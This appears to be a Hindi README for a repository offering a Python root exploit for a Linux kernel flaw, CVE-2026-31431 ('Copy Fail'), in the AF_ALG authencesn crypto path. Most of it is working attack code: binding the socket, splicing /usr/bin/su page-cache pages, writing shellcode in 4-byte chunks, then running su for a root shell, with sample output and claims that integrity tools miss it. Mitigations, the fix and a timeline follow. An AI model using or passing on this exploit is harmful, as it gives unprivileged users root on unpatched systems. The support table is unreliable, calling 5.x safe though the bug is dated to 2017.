
Python एक्सप्लॉइट CVE-2026-31431 के लिए, जो setuid बाइनरीज़ के पेज कैश भ्रष्टाचार के माध्यम से Linux कर्नेल विशेषाधिकार वृद्धि है, जिससे रूट एक्सेस प्राप्त होता है।
कॉपी फेल (CVE-2026-31431) लिनक्स कर्नेल के क्रिप्टोग्राफिक सबसिस्टम में एक गंभीर लॉजिक बग है जो अनप्रिविलेज्ड उपयोगकर्ताओं को रूट तक विशेषाधिकार वृद्धि प्राप्त करने की अनुमति देता है। यह भेद्यता सभी प्रमुख वितरणों में लिनक्स कर्नेल 6.0.0 से 6.18.x को प्रभावित करती है।
इस रिपॉजिटरी में वास्तविक एक्सप्लॉइट है जो setuid बाइनरीज़ के पेज कैश को दूषित करके और रूट विशेषाधिकारों के साथ मनमाना कोड निष्पादित करके भेद्यता को ट्रिगर करता है।
कॉपी फेल एक लॉजिक बग है जो अनप्रिविलेज्ड उपयोगकर्ताओं को सिस्टम पर किसी भी पठनीय फ़ाइल के कर्नेल के पेज कैश में सीधे मनमाने 4-बाइट चंक लिखने की अनुमति देता है, जिसमें setuid बाइनरीज़ भी शामिल हैं।
मुख्य विशेषताएं:
यह भेद्यता algif_aead.c (कमिट 72548b093ee3) में 2017 के अनुकूलन से उत्पन्न होती है जिसने AEAD ऑपरेशन को आउट-ऑफ-प्लेस से इन-प्लेस में बदल दिया:
पहले (सुरक्षित - 2015):
TX स्कैटरलिस्ट (इनपुट) ← TX बफर (फ़ाइल से उपयोगकर्ता डेटा)
RX स्कैटरलिस्ट (आउटपुट) ← RX बफर (उपयोगकर्ता का आउटपुट क्षेत्र)
अलग स्कैटरलिस्ट = पेज कैश पेज केवल-पठनीय हैं
बाद में (भेद्य - 2017):
संयुक्त स्कैटरलिस्ट:
[ RX बफर ] [ sg_chain() के माध्यम से जुड़े पेज कैश पेज ]
↑ ↑
req->src = src req->dst = dst (समान स्कैटरलिस्ट)
पेज कैश पेज अब एक लिखने-योग्य स्कैटरलिस्ट में हैं!
संयुक्त स्कैटरलिस्ट इस प्रकार दिखती है:
[RX बफर से AAD + सिफरटेक्स्ट] || [/usr/bin/su पेज कैश से टैग]
↑
सीमा
(authencesn इस बिंदु से आगे लिखता है)
authencesn एल्गोरिदम IPsec द्वारा विस्तारित अनुक्रम संख्या (ESN) के लिए उपयोग किया जाने वाला एक AEAD रैपर है। यह HMAC गणना करता है लेकिन AAD (संबद्ध प्रमाणित डेटा) के भीतर बाइट्स को पुनर्व्यवस्थित करने की आवश्यकता होती है।
कर्नेल कोड (crypto/authenc.c) में, डिक्रिप्शन के दौरान:
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0); // AAD बाइट्स 0-7 पढ़ें
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1); // अस्थायी: dst[4..7] को अधिलेखित करें
scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, 1); // ← मुख्य पंक्ति
// dst[assoclen+cryptlen] पर 4 बाइट लिखें
समस्या: तीसरा लेखन ऑफसेट assoclen + cryptlen पर होता है। भेद्य इन-प्लेस पथ में:
कर्नेल इस स्थिति को "व्यय योग्य स्क्रैच स्पेस" मानता है और वहां मान स्थायी रूप से लिखता है। पेज कैश में इस स्थिति के मूल बाइट्स हमेशा के लिए खो जाते हैं।
1. हमलावर AF_ALG सॉकेट खोलता है → authencesn(hmac(sha256),cbc(aes)) से बाइंड करता है
(कोई विशेषाधिकार आवश्यक नहीं; AF_ALG डिफ़ॉल्ट रूप से अनप्रिविलेज्ड उपयोगकर्ताओं के लिए उपलब्ध है)
2. हमलावर लक्ष्य फ़ाइल खोलता है: /usr/bin/su (setuid-root बाइनरी)
3. हमलावर /usr/bin/su के पेज कैश पेजों को "सिफरटेक्स्ट" और "टैग" के रूप में
AF_ALG सॉकेट में पहुंचाने के लिए splice() का उपयोग करता है
4. हमलावर AAD के साथ sendmsg() भेजता है जिसमें शामिल है:
- बाइट्स 0-3: पैडिंग
- बाइट्स 4-7: seqno_lo = लिखने के लिए 4-बाइट मान (हमलावर द्वारा नियंत्रित)
- बाइट्स 8+: पैडिंग
5. हमलावर recvmsg() कॉल करता है जो AEAD डिक्रिप्ट ऑपरेशन ट्रिगर करता है
कर्नेल स्पेस में authencesn के डिक्रिप्ट के अंदर:
a) कर्नेल AAD बाइट्स 0-7 पढ़ता है
b) कर्नेल dst[4..7] पर seqno_hi लिखता है (अस्थायी, फिर पुनर्स्थापित)
c) कर्नेल dst[assoclen + cryptlen] पर seqno_lo लिखता है
↓
यह लेखन उपयोगकर्ता बफर से पेज कैश पेजों में पार करता है
↓
/usr/bin/su के पेज कैश में 4-बाइट लेखन यहाँ होता है
d) कर्नेल HMAC की गणना करता है (सत्यापन विफल - सिफरटेक्स्ट निर्मित है)
e) recvmsg() त्रुटि लौटाता है
लेकिन: 4-बाइट लेखन पेज कैश में पहले से ही बना रहता है
6. हमलावर शेलकोड के प्रत्येक 4-बाइट चंक के लिए चरण 2-5 दोहराता है
7. हमलावर /usr/bin/su निष्पादित करता है
- कर्नेल बाइनरी को पेज कैश से लोड करता है (जिसमें अब शेलकोड है)
- बाइनरी setuid-root है
- शेलकोड UID=0 के साथ निष्पादित होता है
- हमलावर के पास रूट एक्सेस है
sock = socket.socket(38, socket.SOCK_SEQPACKET, 0) # AF_ALG = 38
sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
req_sock = sock.accept()[0] # AEAD ऑपरेशन के लिए अनुरोध सॉकेट
authencesn AEAD टेम्पलेट से बाउंड एक AF_ALG सॉकेट बनाएं।
target_fd = os.open("/usr/bin/su", os.O_RDONLY)
setuid बाइनरी खोलें जिसे दूषित किया जाएगा। कोई भी पठनीय फ़ाइल काम करती है, लेकिन विशेषाधिकार वृद्धि के लिए setuid बाइनरीज़ चुनी जाती हैं।
pipe_rd, pipe_wr = os.pipe()
एक पाइप बनाएं जो splice() ऑपरेशन के लिए मध्यस्थ के रूप में कार्य करेगा। पाइप बफर पेज कैश पेजों के संदर्भ रखेंगे।
os.splice(target_fd, pipe_wr, cryptlen, offset_src=write_offset)
write_offset से शुरू होकर /usr/bin/su से cryptlen बाइट्स को पाइप में स्थानांतरित करने के लिए splice() का उपयोग करें।
यह क्यों मायने रखता है: splice() फ़ाइल डिस्क्रिप्टर के बीच डेटा बिना कॉपी किए स्थानांतरित करता है। यह कर्नेल पेज कैश पेजों के सीधे संदर्भ पास करता है। ये पेज पाइप के आंतरिक बफर संरचना में रहते हैं।
assoclen = 8 # AAD लंबाई: बाइट्स 0-7
cryptlen = 32 # सिफरटेक्स्ट लंबाई (== HMAC-SHA256 आउटपुट)
authsize = 32 # टैग लंबाई
write_offset = 0x2000 # /usr/bin/su में लिखने के लिए ऑफसेट
aad = b'\x00\x00\x00\x00' + write_data + b'\x00' * (assoclen - 8)
AAD (संबद्ध प्रमाणित डेटा) में शामिल है:
authencesn एल्गोरिदम अपने स्क्रैच राइट में इस AAD के बाइट्स 4-7 का उपयोग करेगा।
req_sock.sendmsg([aad], [], socket.MSG_MORE)
AAD को AF_ALG सॉकेट पर भेजें। MSG_MORE फ्लैग इंगित करता है कि सिफरटेक्स्ट/टैग आगे आएगा।
os.splice(pipe_rd, req_sock.fileno(), cryptlen)
पाइप से पेज कैश पेजों को AF_ALG सॉकेट में स्थानांतरित करें। अब कर्नेल की स्कैटरलिस्ट में शामिल है:
स्कैटरलिस्ट श्रृंखला:
[ AAD (RX बफर से) ] || [ सिफरटेक्स्ट (RX बफर से) ] → [ टैग (पेज कैश पेज) ]
↑
अभी भी संदर्भित करता है
/usr/bin/su के पेज
try:
req_sock.recv(1024)
except OSError:
pass # अमान्य HMAC के साथ विफल होने की उम्मीद है
AEAD डिक्रिप्ट ऑपरेशन ट्रिगर करने के लिए recvmsg() कॉल करें:
कर्नेल स्पेस में authencesn के अंदर:
dst[assoclen + cryptlen] पर लिखता है
for i in range(0, len(shellcode), 4):
chunk = shellcode[i:i+4]
exploit_target_file("/usr/bin/su", base_offset + i, chunk)
एक्सप्लॉइट लूप करता है, /usr/bin/su के पेज कैश में क्रमिक ऑफसेट पर शेलकोड के 4-बाइट चंक लिखता है।
os.execve("/usr/bin/su", ["/usr/bin/su"], os.environ)
/usr/bin/su निष्पादित करें:
os.splice() समर्थन के लिए)lsmod | grep -E 'af_alg|algif_aead|authencesn'
python3 exploit.py
भेद्य सिस्टम पर अपेक्षित आउटपुट:
[*] CVE-2026-31431 (कॉपी फेल) लिनक्स कर्नेल विशेषाधिकार वृद्धि
[*] लक्ष्य: /usr/bin/su (setuid-root बाइनरी)
[*] कर्नेल संस्करण: 6.12.0-1007-aws
[+] कर्नेल 6.12.x भेद्य सीमा में है (6.0 - 6.18)
[+] /usr/bin/su मिला (setuid-root बाइनरी)
[+] कर्नेल भेद्यता जांच: AF_ALG + splice + authencesn
[*] पेज कैश भ्रष्टाचार शुरू...
[*] /usr/bin/su में 33 बाइट्स शेलकोड इंजेक्ट किया जा रहा है
[+] ऑफसेट 0x2000 पर चंक 0 लिखा गया
[+] ऑफसेट 0x2004 पर चंक 1 लिखा गया
...
[+] शेलकोड इंजेक्शन सफल!
[*] शेलकोड ट्रिगर करने के लिए /usr/bin/su निष्पादित किया जा रहा है...
# id
uid=0(root) gid=1001(user) groups=1001(user)
AF_ALG AEAD समर्थन अक्षम करें:
sudo -i
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null
exit
यह एक्सप्लॉइट को AF_ALG के AEAD इंटरफ़ेस तक पहुंचने से रोकता है जबकि अन्य AF_ALG कार्यक्षमता बरकरार रहती है।
भेद्य मॉड्यूल अनलोड करें:
sudo rmmod algif_aead
sudo rmmod authencesn
seccomp के माध्यम से AF_ALG सॉकेट निर्माण ब्लॉक करें (कंटेनरीकृत वातावरण के लिए):
# कंटेनर सुरक्षा नीति में, socket(38, SOCK_SEQPACKET) syscalls को अस्वीकार करें
लिनक्स 6.19+ में अपडेट करें जिसमें फिक्स शामिल है (कमिट a664bf3d603d)।
फिक्स algif_aead.c को आउट-ऑफ-प्लेस AEAD ऑपरेशन में वापस लाता है:
// पहले (भेद्य इन-प्लेस):
aead_request_set_crypt(&areq->cra_u.aead_req,
rsgl_src, // RX SGL (इनपुट)
rsgl_src, // RX SGL (आउटपुट) - समान
used, ctx->iv);
// बाद में (फिक्स्ड आउट-ऑफ-प्लेस):
aead_request_set_crypt(&areq->cra_u.aead_req,
tsgl_src, // TX SGL (इनपुट)
rsgl_src, // RX SGL (आउटपुट) - अलग
used, ctx->iv);
अलग स्रोत और गंतव्य स्कैटरलिस्ट के साथ:
यह एक्सप्लॉइट केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए है। कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध है। भेद्यता का परीक्षण करने से पहले हमेशा उचित प्राधिकरण प्राप्त करें।
| पहलू | स्पष्टीकरण |
|---|
| कोई क्रैश नहीं | ऑपरेशन कर्नेल के दृष्टिकोण से पूरा होता है |
| निर्धारक | कोई रेस कंडीशन नहीं; सिंक्रोनस और विश्वसनीय |
| स्थायी | पेज कैश भ्रष्टाचार recvmsg() त्रुटि के बाद भी बना रहता है |
| अदृश्य | डिस्क पर फ़ाइल अछूती; मानक अखंडता उपकरण कुछ भी पता नहीं लगाते |
| सार्वभौमिक | समान कोड सभी वितरणों पर काम करता है; कोई प्रति-वितरण ऑफसेट आवश्यक नहीं |
| पोर्टेबल | x86-64 और ARM64 आर्किटेक्चर पर काम करता है |
| तिथि | घटना |
|---|
| 2017-Q3 | algif_aead.c में भेद्यता पेश की गई (कमिट 72548b093ee3) |
| 2026-03-23 | लिनक्स कर्नेल सुरक्षा टीम को रिपोर्ट की गई |
| 2026-03-24 | कर्नेल टीम ने भेद्यता स्वीकार की |
| 2026-03-25 | पैच प्रस्तावित और समीक्षित किए गए |
| 2026-04-01 | पैच मेनलाइन कर्नेल में मर्ज किए गए (कमिट a664bf3d603d) |
| 2026-04-22 | CVE-2026-31431 असाइन किया गया |
| 2026-04-29 | सार्वजनिक प्रकटीकरण (Xint Research) |
| श्रृंखला | स्थिति | विवरण |
|---|
| लिनक्स 5.x | ✅ सुरक्षित | भेद्यता से पहले का |
| लिनक्स 6.0 - 6.18 | ❌ भेद्य | सभी मामूली संस्करण प्रभावित |
| लिनक्स 6.19+ | ✅ सुरक्षित | फिक्स शामिल है (कमिट a664bf3d603d) |
| लिनक्स 7.0+ | ✅ सुरक्षित | फिक्स मर्ज होने के बाद |